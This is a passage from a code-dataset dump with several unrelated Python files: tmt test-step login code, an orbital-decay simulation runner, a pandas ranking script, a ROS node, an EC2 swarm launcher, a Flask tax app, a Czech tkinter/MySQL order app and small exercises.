color='yellow')\n assert isinstance(self.parent, Step)\n assert hasattr(self.parent, 'plan') and self.parent.plan is not None\n for guest in self.parent.plan.provision.guests():\n guest.reboot(hard=self.opt('hard'))\n self.info('reboot', 'Reboot finished', color='yellow')\n\n\nclass Login(Action):\n \"\"\" Log into the guest \"\"\"\n\n # TODO: remove when Step becomes Generic (#1372)\n # Change typing of inherited attr\n parent: Step\n\n # True if interactive login enabled\n _enabled: bool = False\n\n def __init__(self, *, step: Step, order: int, logger: tmt.log.Logger) -> None:\n \"\"\" Initialize relations, store the login order \"\"\"\n super().__init__(logger=logger, parent=step, name='login', order=order)\n\n @classmethod\n def command(\n cls,\n method_class: Optional[Method] = None,\n usage: Optional[str] = None) -> click.Command:\n \"\"\" Create the login command \"\"\"\n # Avoid circular imports\n from tmt.result import ResultOutcome\n\n @click.command()\n @click.pass_context\n @click.option(\n '-s', '--step', metavar='STEP[:PHASE]', multiple=True,\n help='Log in during given phase of selected step(s).')\n @click.option(\n '-w', '--when', metavar='RESULT', multiple=True,\n type=click.Choice([m.value for m in ResultOutcome.__members__.values()]),\n help='Log in if a test finished with given result(s).')\n @click.option(\n '-c', '--command', metavar='COMMAND',\n multiple=True, default=['bash'],\n help=\"Run given command(s). Default is 'bash'.\")\n @click.option(\n '-t', '--test', is_flag=True,\n help='Log into the guest after each executed test in the execute phase.')\n def login(context: 'tmt.cli.Context', **kwargs: Any) -> None:\n \"\"\"\n Provide user with an interactive shell on the guest.\n\n By default the shell is provided at the end of the last\n enabled step. When used together with the --last option the\n last completed step is selected. Use one or more --step\n options to select a different step instead.\n\n Optional phase can be provided to specify the exact phase of\n the step when the shell should be provided. The following\n values are supported:\n\n \\b\n start ... beginning of the step (same as '10')\n end ..... end of the step (default, same as '90')\n 00-99 ... integer order defining the exact phase\n\n Usually the main step execution happens with order 50.\n Consult individual step documentation for more details.\n\n For the execute step and following steps it is also possible\n to conditionally enable the login feature only if some of\n the tests finished with given result (pass, info, fail,\n warn, error).\n \"\"\"\n Login._save_context(context)\n Login._enabled = True\n\n return login\n\n @classmethod\n def plugins(cls, step: Step) -> List['Login']:\n \"\"\" Return list of login instances for given step \"\"\"\n if not Login._enabled:\n return []\n return [Login(logger=step._logger.descend(), step=step, order=phase)\n for phase in cls.phases(step)]\n\n def go(self) -> None:\n \"\"\" Login to the guest(s) \"\"\"\n\n if self._enabled_by_results(self.parent.plan.execute.results()):\n self._login()\n\n def _enabled_by_results(self, results: List['tmt.base.Result']) -> bool:\n \"\"\" Verify possible test result condition \"\"\"\n # Avoid circular imports\n from tmt.result import ResultOutcome\n expected_results: Optional[List[ResultOutcome]] = [ResultOutcome.from_spec(\n raw_expected_result) for raw_expected_result in self.opt('when', [])]\n\n # Return True by default -> no expected results\n if not expected_results:\n return True\n\n # Check for expected result\n for result in results:\n if result.result in expected_results:\n return True\n else: # No break/return in for cycle\n self.info('Skipping interactive shell', color='yellow')\n return False\n\n def _login(\n self,\n cwd: Optional[Path] = None,\n env: Optional[tmt.utils.EnvironmentType] = None) -> None:\n \"\"\" Run the interactive command \"\"\"\n scripts = [tmt.utils.ShellScript(script) for script in self.opt('command')]\n self.info('login', 'Starting interactive shell', color='yellow')\n for guest in self.parent.plan.provision.guests():\n # Attempt to push the workdir to the guest\n try:\n guest.push()\n cwd = cwd or self.parent.plan.worktree\n except tmt.utils.GeneralError:\n self.warn(\"Failed to push workdir to the guest.\")\n cwd = None\n # Execute all requested commands\n for script in scripts:\n self.debug(f\"Run '{script}' in interactive mode.\")\n guest.execute(script, interactive=True, cwd=cwd, env=env)\n self.info('login', 'Interactive shell finished', color='yellow')\n\n def after_test(\n self,\n result: 'tmt.base.Result',\n cwd: Optional[Path] = None,\n env: Optional[tmt.utils.EnvironmentType] = None) -> None:\n \"\"\" Check and login after test execution \"\"\"\n if self._enabled_by_results([result]):\n self._login(cwd, env)\n","repo_name":"danmyway/tmt","sub_path":"tmt/steps/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":48603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"2169149237","text":"\"\"\"Compare analytical and numerical orbital decay trajectories.\"\"\"\nimport itertools\nimport os\nimport shutil\nimport pathlib\nimport bookkeeper.nautilus\nimport rytools.planets\nimport unyt\n\nos.chdir(pathlib.Path(__file__).parent.parent)\n\nPATH = {}\nPATH['GRID'] = pathlib.Path('data/large_sims/inspirals/orbital_trajectories')\nPATH['PAR_TEMPLATE'] = PATH['GRID'].parent / \"input.txt.template\"\nPATH['NAUTILUS_ROOT'] = pathlib.Path('/home/rcastroy/src/nautilus')\n# PATH['DRAG'] = PATH['NAUTILUS_ROOT'] / 'extras' / 'drag.h5'\nPATH['DRAG'] = pathlib.Path('data/drag_uniform_grid.h5')\nPATH['MESA_PROFILE_ROOT'] = PATH['NAUTILUS_ROOT'] / 'extras' / 'profiles'\n\n\ndef main():\n \"\"\"Do main calculation.\"\"\"\n # for companion_mass in [1, 10, 50, 80] * unyt.mjup:\n for use_drag_coefficients, companion_mass in\\\n itertools.product([0, 1], [1, 80] * unyt.mjup):\n companion = rytools.planets.SubstellarBody(companion_mass)\n sim_path = PATH['GRID'] /\\\n f\"{use_drag_coefficients}\" /\\\n f\"{int(companion_mass.to(unyt.mjup).value)}\"\n if sim_path.is_dir():\n shutil.rmtree(sim_path)\n sim_path.mkdir(parents=True, exist_ok=False)\n print(f\"Running simulation at {sim_path.resolve()}\")\n par = bookkeeper.nautilus.ParameterFile(PATH['PAR_TEMPLATE'])\n par['use_drag_coefficients'] = use_drag_coefficients\n par['drag_data_path'] = str(PATH['DRAG'].resolve())\n par['msb'] = float(companion.mass.in_cgs().value)\n par['rsb'] = float(companion.radius.in_cgs().value)\n if companion_mass == 1 * unyt.m_jup:\n par['mesa_profile_path'] =\\\n str((PATH['MESA_PROFILE_ROOT'] / \"10rsun.h5\").resolve())\n elif companion_mass == 80 * unyt.m_jup:\n par['mesa_profile_path'] =\\\n str((PATH['MESA_PROFILE_ROOT'] / \"100rsun.h5\").resolve())\n par.write(sim_path / \"input.txt\")\n sim = bookkeeper.nautilus.Simulation(sim_path)\n sim.run(\n [\n str(PATH['NAUTILUS_ROOT'] / 'build' / 'nautilus'),\n sim.par.path.resolve()\n ]\n )\n\n\nmain()\n","repo_name":"ryarza/planetary-engulfment-hydro","sub_path":"scripts/analysis/compare_inspirals.py","file_name":"compare_inspirals.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72729477172","text":"if __name__ == \"__main__\":\n import pandas as pd\n path = r\"C:\\Users\\tclyu\\Dropbox\\thomas_home\\active_portfolio_management\\data\\universe\\refinitiv_Russell3000_20220402.csv\"\n\n\n signal_path = r\"C:\\Users\\tclyu\\PycharmProjects\\streamlit_deploy_example\\Downloaded_data\\RSSCORE.csv\"\n universe_df = pd.read_csv(path,usecols=[\"TR.TICKERSYMBOL\",\"TR.GICSINDUSTRY\",\"TR.GICSINDUSTRYGROUP\",\"TR.GICSSECTOR\"])\n #universe_df.columns = universe_df.columns.str.replace('TR.', '')\n universe_df.set_index(['TR.TICKERSYMBOL'],inplace=True)\n\n\n import time\n to=time.time()\n signal_df = pd.read_csv(signal_path,parse_dates=True,index_col=['date'])\n rank_within_sector_df = pd.DataFrame().reindex(index=signal_df.index, columns=signal_df.columns)\n rank_within_industry_df = pd.DataFrame().reindex(index=signal_df.index, columns=signal_df.columns)\n\n for idx, row in signal_df.iterrows():\n q = pd.concat([row.to_frame(), universe_df], axis=1)\n q['rank_within_sector'] = q.groupby(\"TR.GICSSECTOR\").rank(ascending=False)[idx] # the higher the better\n q['rank_within_industry'] = q.groupby(\"TR.GICSINDUSTRY\").rank(ascending=False)[idx]\n rank_within_sector_df.loc[idx] = q['rank_within_sector']\n rank_within_industry_df.loc[idx] = q['rank_within_industry']\n\n #index_ = signal_df.iloc[0].name\n\n #q = pd.concat([row.to_frame(), universe_df], axis=1)\n # q = pd.concat([signal_df.iloc[0].to_frame(),universe_df],axis=1)\n #q['rank_within_sector'] = q.groupby(\"TR.GICSSECTOR\").rank(ascending=False)[index_] # the higher the better\n #q['rank_within_industry'] = q.groupby(\"TR.GICSINDUSTRY\").rank(ascending=False)[index_]\n\n print(time.time()-to)\n #q.groupby(\"TR.GICSSECTOR\")[index_].mean()\n print('here')\n #signal_df.T\n #universe_df[\"rank\"] = universe_df.groupby(\"group_ID\")[\"value\"].rank(\"dense\", ascending=False)\n #print(universe_df)TR.GICSINDUSTRY\nif __name__ == \"____\":\n import pandas as pd\n from utils.load_data import load_time_series_data_refintiv\n #load_time_series_data_refintiv\n from streamlit_project_settings import OHLCV_PICKLE\n ts_df = pd.read_pickle(OHLCV_PICKLE)\n\n print('here')","repo_name":"darkknight9394/streamlit_deploy_example","sub_path":"load_universe.py","file_name":"load_universe.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38995827405","text":"#!/usr/bin/env python\n\nimport time\nimport argparse\nimport sys\nimport rospy\nfrom std_msgs.msg import Float32, Float64\n\n\n\nclass StaticDepth:\n \"\"\"\n \"\"\"\n def __init__(self):\n self.static_command_ = 0.0\n\n self.thruster_pub = rospy.Publisher('/depth_target', Float64)\n\n rospy.Subscriber(\"/set_static_depth\", Float64, self.setCallback)\n\n rospy.Timer(rospy.Duration(0.2), self.timerCallback)\n\n def setCallback(self, msg):\n self.static_command_ = msg.data\n\n def timerCallback(self, event):\n msg = Float64()\n msg.data = self.static_command_\n self.thruster_pub.publish(msg)\n\nif __name__ == \"__main__\":\n rospy.init_node('static_depth')\n\n sc = StaticDepth()\n\n rospy.spin()\n","repo_name":"acfrmarine/floats","sub_path":"float_control/nodes/static_depth_topic.py","file_name":"static_depth_topic.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10610342248","text":"from context import core\nfrom core import Swarm3\nfrom core import Hive3\nimport boto3\nimport mpu\nimport yaml\n\nwith open(\"swarm/test/worker_yamls/swarm_digit_recognizer.yaml\", 'r') as stream:\n\tconfig = yaml.load(stream)\n\ndirec = config['worker_direc_name']\ngithub_clone = 'git clone https://github.com/'+ config['github_account'] + '/' + direc + '.git'\nrm_repo = 'sudo rm -r ' + direc\nlaunch = config['launch']\naws_services_info = config['aws_services_info']\n\n\nec2_config = config['ec2_config']\n\nstatics = config['statics']\nvariables = config['variables']\nsplits = config['splits']\n\n# for k,v in config.items():\n# \tprint(k, v)\ns3_info = aws_services_info['s3']\ns3 = boto3.resource('s3')\n\n# s3.Bucket(s3_info['bucket']).download_file(splits['json'], 'swarm/test/'+splits['json'])\n\nsize = ec2_config['size']\nswarm_name = ec2_config['name']\nswarm = Swarm3(size=size,config=ec2_config)\n\nswarm.init(dependencies=ec2_config['dependencies'])\nswarm.populate()\nswarm.describe()\n\n# json_input = mpu.io.read('swarm/test/'+splits['json'])\n# splits =({'json':json_input['images']})\n# splits = ({'images':json_input['images']})\n# variables = ({'index': ((0,size), 'unique')})\n# statics = {}\n\nhive = Hive3(variable=variables, static=statics, split=splits, direc=direc)\nhive.gather(size=size,group=swarm_name)\nhive.generate_swarm_parameters()\nhive.inject_behavior([rm_repo, github_clone])\n\nhive.broadcast('python3 ' + direc + '/' +launch)\nprint(\"Waiting For Leader... \")\nhive.monitor()\nprint('Work Completed')\n\n","repo_name":"sande2jm/swarm","sub_path":"test/new_swarm_launch.py","file_name":"new_swarm_launch.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29119465596","text":"\"\"\" Settings for core_explore_keyword_registry_app\n\nSettings with the following syntax can be overwritten at the project level:\nSETTING_NAME = getattr(settings, \"SETTING_NAME\", \"Default Value\")\n\"\"\"\n\nfrom django.conf import settings\n\nif not settings.configured:\n settings.configure()\n\nREGISTRY_XSD_FILENAME = getattr(settings, \"REGISTRY_XSD_FILENAME\", \"\")\n\"\"\" str: Registry xsd filename used for the initialisation.\n\"\"\"\n\nXSL_FOLDER_PATH = getattr(\n settings, \"XSL_FOLDER_PATH\", \"core_explore_keyword_registry_app/xsl\"\n)\n\"\"\" str: Xsl folder path used for the initialisation.\n\"\"\"\n\nLIST_XSL_FILENAME = getattr(settings, \"LIST_XSL_FILENAME\", \"registry-list.xsl\")\n\"\"\"\" str : List xsl filename used for the initialisation.\n\"\"\"\n\nDETAIL_XSL_FILENAME = getattr(\n settings, \"DETAIL_XSL_FILENAME\", \"registry-detail.xsl\"\n)\n\"\"\" str : Detail xsl filename used for the initialisation.\n\"\"\"\n","repo_name":"usnistgov/core_explore_keyword_registry_app","sub_path":"core_explore_keyword_registry_app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2588780990","text":"import time\nimport threading\n\nstart_time = time.time()\n\ni = 149\nnumbers = []\n\n\n\n#slowsort von Angabe\ndef slowsort(A, i, j):\n if i >= j:\n return\n m = (i+j)//2\n slowsort(A, i, m)\n slowsort(A, m+1, j)\n if A[m] > A[j]:\n A[m],A[j] = A[j],A[m]\n slowsort(A, i, j-1)\n\n#\ndef print_result():\n print(numbers)\n\nwhile i >= 0:\n numbers += [i]\n i -= 1\n\nt1 = threading.Thread(target=slowsort, args=(numbers, 0, len(numbers)-1,))\n\nt1.start()\nt1_start_time = time.time()\n\nwhile_time = time.time()\nt1.join()\nt1_end_time = time.time()\nprint(\"Thread: %s -- %s seconds --\" % (t1.name, t1_end_time - t1_start_time))\nwhile_end_time = time.time();\n\nprint(numbers)\n\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\nprint(\"--- %s seconds ---\" % (while_end_time - while_time))","repo_name":"0xProtocol/FinancalManager","sub_path":"Multithreading/MultithreadingmitArray.py","file_name":"MultithreadingmitArray.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34772721265","text":"from flask import Flask, render_template\n\nfrom models import paye\nfrom models import tax_bracket\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n method = paye.PAYE\n result = method(age_of_employee=35,\n periods_per_annum=12,\n ytd_non_bonus_taxable=1,\n current_earnings=100000,\n periods_to_date=1,\n ytd_paye=25,\n bonus_taxable=1000,\n dependants=1)\n\n return render_template('index.html',\n total_earnings=result.total_projected_annual_taxable_earnings(),\n total_due=result.tax_due(),\n bonus_tax_due=result.bonus_tax_due(),\n net_due=result.net_due(),\n tax_bracket=tax_bracket.get_tax_bracket(),\n tax_dates=tax_bracket.get_tax_date(), )\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"PerceptechData/Hue","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6542613107","text":"\r\nfrom tkinter import *\r\nimport tkinter as tk\r\nfrom tkinter import messagebox, ttk\r\nimport ObjednavkaStranajedna\r\nimport ObjednavkaStranaDva\r\nimport pymysql\r\n\r\n\r\n\r\ndef hide_ikona():\r\n stavSkladu_ikona.config(bg='#c3c3c3')\r\n email_ikona.config(bg='#c3c3c3')\r\n ObjednavkaStranajedna.objednavka_ikona.config(bg='#c3c3c3')\r\n ObjednavkaStranaDva.poznamky_ikona.config(bg='#c3c3c3')\r\n ObjednavkaStranaDva.zaloha_ikona.config(bg='#c3c3c3')\r\n ObjednavkaStranaDva.email_ikona.config(bg='#c3c3c3')\r\n\r\n# --------------------------------------------------------------------------------------------\r\ndef ikona(lb, page):\r\n hide_ikona()\r\n lb.config(bg='black')\r\n page()\r\n\r\n# --------------------------------------------------------------------------------------------\r\ndef ikona(lb, page):\r\n hide_ikona()\r\n lb.config(bg='black')\r\n page()\r\n# --------------------------------------------------------------------------------------------\r\n\r\ndef Email(ctverec):\r\n ctverec.tkraise()\r\n main_frame = tk.Frame(ObjednavkaStranajedna.Objednavka, highlightbackground='black', highlightthickness=2)\r\n main_frame.pack(side=tk.RIGHT)\r\n main_frame.pack_propagate(False)\r\n main_frame.configure(height=500, width=500)\r\n main_frame.place(x=250, y=0)\r\n messageLabel = Label(ObjednavkaStranajedna.Objednavka, text='Email', bg='light grey', font=(40))\r\n messageLabel.place(x=470, y=10, height=40)\r\n def clear():\r\n OdesilatelAddEntry.delete(0, END)\r\n KomuAddEntry.delete(0, END)\r\n PredmetAddEntry.delete(0, END)\r\n ObsahAddEntry.delete(0, END)\r\n PoznamkaAddEntry.delete(0, END)\r\n NutnostAddEntry.delete(0, END)\r\n check.set(0)\r\n\r\n # pripojeni do databaze a kontrola\r\n def connect_database():\r\n if OdesilatelAddEntry.get() == '' or KomuAddEntry.get() == '' or PredmetAddEntry.get() == ''\\\r\n or ObsahAddEntry.get() == '':\r\n messagebox.showerror('Error', 'Vyplňte všechna pole')\r\n else:\r\n try:\r\n conn = pymysql.connect(host='localhost', user='root')\r\n mycursor = conn.cursor()\r\n except:\r\n messagebox.showerror('Error', 'Nelze se připojit k databázi')\r\n return\r\n try:\r\n query = 'create database uzivatelskaData'\r\n mycursor.execute(query)\r\n query = 'use uzivatelskaData'\r\n mycursor.execute(query)\r\n query = 'create table if not exist email(id int auto_increment primary key not null, odesilatel varchar (50), ' \\\r\n 'komu varchar(50), predmet varchar(50), obsah varchar(50), poznamka varchar(50), nutnost varchar(10))'\r\n mycursor.execute(query)\r\n except:\r\n mycursor.execute('use uzivatelskaData')\r\n\r\n\r\n query = 'insert into email(odesilatel,komu, predmet, obsah, poznamka, nutnost) values (%s,%s,%s,%s,%s,%s)'\r\n mycursor.execute(query, (OdesilatelAddEntry.get(), KomuAddEntry.get(),PredmetAddEntry.get(),ObsahAddEntry.get(),\r\n PoznamkaAddEntry.get(), NutnostAddEntry.get()))\r\n conn.commit()\r\n conn.close()\r\n messagebox.showinfo('Success', 'Záloha emailu proběhla v pořádku')\r\n clear()\r\n\r\n frame = Frame(main_frame, bg='white',padx=30, pady=30, borderwidth=2)\r\n frame.place(relx=0.5, rely=0.55, anchor='center', width=450, height=410)\r\n frame.config(highlightbackground = \"black\", highlightcolor= \"black\", highlightthickness=2)\r\n\r\n\r\n # Odesilatel\r\n OdesilatelAddLabel = Label(frame, text='Odesílatel', font=( 8),\r\n bg='white', fg='black')\r\n OdesilatelAddLabel.place(x=10, y=10)\r\n OdesilatelAddEntry = Entry(frame, width=20, font=( 8), fg='black', bg='light grey')\r\n OdesilatelAddEntry.place(x=10, y=30)\r\n\r\n # Komu\r\n KomuAddLabel = Label(frame, text='Komu', font=( 8),\r\n bg='white', fg='black')\r\n KomuAddLabel.place(x=10, y=60)\r\n KomuAddEntry = Entry(frame, width=20, font=( 8), fg='black', bg='light grey',\r\n )\r\n KomuAddEntry.place(x=10, y=80)\r\n\r\n # Predmet\r\n PredmetAddLabel = Label(frame, text='Předmět', font=( 8),\r\n bg='white', fg='black')\r\n PredmetAddLabel.place(x=10, y=110)\r\n PredmetAddEntry = Entry(frame, width=30, font=( 8), fg='black',\r\n bg='light grey')\r\n PredmetAddEntry.place(x=10, y=130)\r\n\r\n\r\n # Obsah\r\n ObsahAddLabel = Label(frame, text='Obsah', font=( 8),\r\n bg='white', fg='black')\r\n ObsahAddLabel.place(x=10, y=160)\r\n ObsahAddEntry = Entry(frame, width=40, font=( 8),\r\n fg='black', bg='light grey')\r\n ObsahAddEntry.place(x=10, y=180)\r\n\r\n # poznamka\r\n PoznamkaAddLabel = Label(frame, text='Poznámka', font=(8),\r\n bg='white', fg='black')\r\n PoznamkaAddLabel.place(x=10, y=210)\r\n PoznamkaAddEntry = Entry(frame, width=40, font=(8),\r\n fg='black', bg='light grey')\r\n PoznamkaAddEntry.place(x=10, y=230)\r\n\r\n # nutnost\r\n NutnostAddLabel = Label(frame, text='Nutnost', font=( 8),\r\n bg='white', fg='black')\r\n NutnostAddLabel.place(x=10, y=260)\r\n NutnostAddEntry = Entry(frame, width=40, font=( 8),\r\n fg='black', bg='light grey')\r\n NutnostAddEntry.place(x=10, y=280)\r\n\r\n # Podminky\r\n check = IntVar()\r\n Podminky = Checkbutton(frame, text='Potvrdit přečtení',\r\n font=(5),\r\n bg='white', activebackground='white', cursor='hand2', variable=check)\r\n Podminky.place(x=10, y=330)\r\n\r\n # Odeslat Button\r\n SendButton = Button(frame, text='Odeslat', font=('Microsoft Yahei UI Light', 12, 'bold'), bd=0, bg='light grey',\r\n fg='black',\r\n activebackground='white', width=17, command=connect_database)\r\n SendButton.place(x=200, y=330)\r\n\r\n# --------------------------------------------------------------------------------------------\r\ndef kontrolaSkladu(ctverec):\r\n ctverec.tkraise()\r\n main_frame = tk.Frame(ObjednavkaStranajedna.Objednavka, highlightbackground='black', highlightthickness=2)\r\n main_frame.pack(side=tk.RIGHT)\r\n main_frame.pack_propagate(False)\r\n main_frame.place(x=250, y=0)\r\n main_frame.configure(height=500, width=500)\r\n def vse():\r\n main_frame = tk.Frame(ObjednavkaStranajedna.Objednavka, highlightbackground='black', highlightthickness=2)\r\n main_frame.pack(side=tk.RIGHT)\r\n main_frame.pack_propagate(False)\r\n main_frame.place(x=250, y=350)\r\n main_frame.configure(height=500, width=500)\r\n header_bg_color = '#8ac6d1'\r\n header_fg_color = 'white'\r\n row_bg_color_1 = '#f0f0f0'\r\n row_bg_color_2 = 'white'\r\n conn = pymysql.connect(host='localhost', user='root')\r\n mycursor = conn.cursor()\r\n query = 'use uzivatelskadata'\r\n mycursor.execute(query)\r\n query = 'select * from zbozi_sklad'\r\n mycursor.execute(query)\r\n i = 1\r\n for vse in mycursor:\r\n for j in range(len(vse)):\r\n if i % 2 == 0:\r\n row_bg_color = row_bg_color_1\r\n else:\r\n row_bg_color = row_bg_color_2\r\n if i == 0:\r\n label_fg_color = header_fg_color\r\n label_bg_color = header_bg_color\r\n else:\r\n label_fg_color = 'black'\r\n label_bg_color = row_bg_color\r\n\r\n e = Label(main_frame, width=10, text='Id', borderwidth=5, relief='ridge', anchor='w', bg=label_bg_color,\r\n fg=label_fg_color)\r\n e.grid(row=0, column=0)\r\n e = Label(main_frame, width=10, text='Cislo', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=1)\r\n e = Label(main_frame, width=10, text='Nazev', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=2)\r\n e = Label(main_frame, width=10, text='Kod', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=3)\r\n e = Label(main_frame, width=10, text='Počet', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=4)\r\n e = Label(main_frame, width=10, text='Cena', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=5)\r\n e = Label(main_frame, width=10, fg='black', borderwidth=3, relief='ridge', anchor=\"w\", text=vse[j],\r\n bg=row_bg_color)\r\n e.grid(row=i, column=j)\r\n i += 1\r\n frame1 = Frame(main_frame, bg='white')\r\n frame1.place(x=200, y=300)\r\n\r\n def search_zaznam_sklad():\r\n main_frame = tk.Frame(ObjednavkaStranajedna.Objednavka, highlightthickness=2)\r\n main_frame.pack_propagate(False)\r\n main_frame.pack(side=tk.RIGHT)\r\n main_frame.place(x=250, y=90)\r\n main_frame.configure(width=495, height=250)\r\n\r\n conn = pymysql.connect(host='localhost', user='root')\r\n cursor = conn.cursor()\r\n query = 'use uzivatelskadata'\r\n cursor.execute(query)\r\n result = cursor.fetchall()\r\n\r\n\r\n if search_text_var.get() == '':\r\n messagebox.showerror('Error', 'Vyplňte všechna pole')\r\n else:\r\n try:\r\n conn = pymysql.connect(host='localhost', user='root')\r\n cursor = conn.cursor()\r\n except:\r\n messagebox.showerror('Error', 'Připojení se nezdařilo')\r\n return\r\n query = 'use uzivatelskadata'\r\n cursor.execute(query)\r\n query = \"SELECT * FROM zbozi_sklad WHERE nazev=%s\"\r\n\r\n vals = (search_text_var.get())\r\n cursor.execute(query, vals)\r\n myRows = cursor.fetchall()\r\n totalRows = cursor.rowcount\r\n\r\n if myRows == None:\r\n\r\n messagebox.showerror('Error', 'Chybný název zboží')\r\n else:\r\n main_frame = tk.Frame(ObjednavkaStranajedna.Objednavka, highlightbackground='black', highlightthickness=2)\r\n main_frame.pack_propagate(False)\r\n main_frame.place(x=250, y=120)\r\n header_bg_color = '#8ac6d1'\r\n header_fg_color = 'white'\r\n row_bg_color_1 = '#f0f0f0'\r\n row_bg_color_2 = 'white'\r\n\r\n i = 1\r\n\r\n\r\n for zbozi in myRows:\r\n for j in range(len(zbozi)):\r\n if i % 2 == 0:\r\n row_bg_color = row_bg_color_1\r\n else:\r\n row_bg_color = row_bg_color_2\r\n\r\n if i == 0:\r\n label_fg_color = header_fg_color\r\n label_bg_color = header_bg_color\r\n else:\r\n label_fg_color = 'black'\r\n label_bg_color = row_bg_color\r\n\r\n e = Label(main_frame, width=10, text='Id', borderwidth=5, relief='ridge', anchor='w', bg=label_bg_color,\r\n fg=label_fg_color)\r\n e.grid(row=0, column=0)\r\n e = Label(main_frame, width=10, text='Číslo', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=1)\r\n e = Label(main_frame, width=10, text='Název', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=2)\r\n e = Label(main_frame, width=10, text='Kód', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=3)\r\n e = Label(main_frame, width=10, text='Počet', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=4)\r\n e = Label(main_frame, width=10, text='Cena', borderwidth=5, relief='ridge', anchor='w',\r\n bg=label_bg_color, fg=label_fg_color)\r\n e.grid(row=0, column=5)\r\n e = Label(main_frame, width=10, fg='black', borderwidth=3, relief='ridge', anchor=\"w\", text=zbozi[j],\r\n bg=row_bg_color)\r\n e.grid(row=i, column=j)\r\n i += 1\r\n\r\n\r\n messageLabel = Label(main_frame, text='Zadejte název požadovaného zboží', bg='light grey')\r\n messageLabel.place(x=140, y=10, height=37)\r\n search_text_var = tk.StringVar()\r\n Zbozi = tk.Entry(main_frame, textvariable=search_text_var)\r\n buttonSearch = tk.Button(main_frame, text=\"Search\", command=search_zaznam_sklad)\r\n Zbozi.pack(side='left', padx=5, pady=5)\r\n buttonSearch.pack(side='left', padx=5, pady=5)\r\n Zbozi.place(x=150, y=70)\r\n buttonSearch.place(x=280, y=65)\r\n VseButton = tk.Button(main_frame,text=\"Zobrazit Vše\", command=vse)\r\n VseButton.pack(side='left', padx=5, pady=5)\r\n VseButton.place(x=360, y=65)\r\n VseButton = tk.Button(main_frame, text=\"Zobrazit Vše\", command=vse)\r\n VseButton.pack(side='left', padx=5, pady=5)\r\n VseButton.place(x=360, y=65)\r\n# --------------------------------------------------------------------------------------------\r\n\r\n# button pro kontrolu skladu\r\nstavSkladuButton = Button(ObjednavkaStranajedna.Objednavka, text='Kontrola skladu', font=('Open Sans', 13, 'bold'),\r\n fg='black', bg='white', activeforeground='grey', activebackground='white', cursor='hand2'\r\n , bd=1, width=19, command=lambda: ikona(stavSkladu_ikona, kontrolaSkladu(ObjednavkaStranajedna.main_frame) ))\r\n\r\nstavSkladuButton.pack()\r\nstavSkladuButton.place(x=30, y=330)\r\n\r\nstavSkladu_ikona = Label(ObjednavkaStranajedna.Objednavka, text='', bg='#c3c3c3')\r\nstavSkladu_ikona.place(x=25, y=329, height=35)\r\n# --------------------------------------------------------------------------------------------\r\n#button pro email\r\nemailButton = Button(ObjednavkaStranajedna.Objednavka, text='Email', font=('Open Sans', 13, 'bold'),\r\n fg='black', bg='white', activeforeground='grey', activebackground='white', cursor='hand2'\r\n ,bd=1, width=19, command=lambda: ikona(email_ikona, Email(ObjednavkaStranajedna.main_frame)))\r\nemailButton.pack()\r\nemailButton.place(x=30, y=160)\r\n\r\nemail_ikona = Label(ObjednavkaStranajedna.Objednavka, text ='', bg='#c3c3c3')\r\nemail_ikona.place(x=25, y=159, height=35)\r\n\r\nObjednavkaStranajedna.mainloop()","repo_name":"KarolinaKreckova/K-Control","sub_path":"src/ObjednavkastranaTri.py","file_name":"ObjednavkastranaTri.py","file_ext":"py","file_size_in_byte":15460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16059278964","text":"\"\"\"\n-*- coding: utf-8 -*-\n@File : remove-duplicates-from-sorted-list-ii.py\n@Time : 2022/3/18\n@Author: Tk <TK@bupt.edu.cn>\n@Software: PyCharm\n\n删除重复元素的所有节点的关键点在于假(辅助)链表的创立,通过多一位的辅助链表可以实现cur的前移,将相同数值的节点全部删除\n\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Node(object):\n \"\"\"创建单个结点类\"\"\"\n\n def __init__(self, val):\n self.val = val\n self.next = None\n\n\nclass SingleLinkedList(object):\n \"\"\"创建一个单链表\"\"\"\n\n def __init__(self):\n self.head = None\n\n def is_empty(self):\n \"\"\"判断链表是否为空\"\"\"\n return 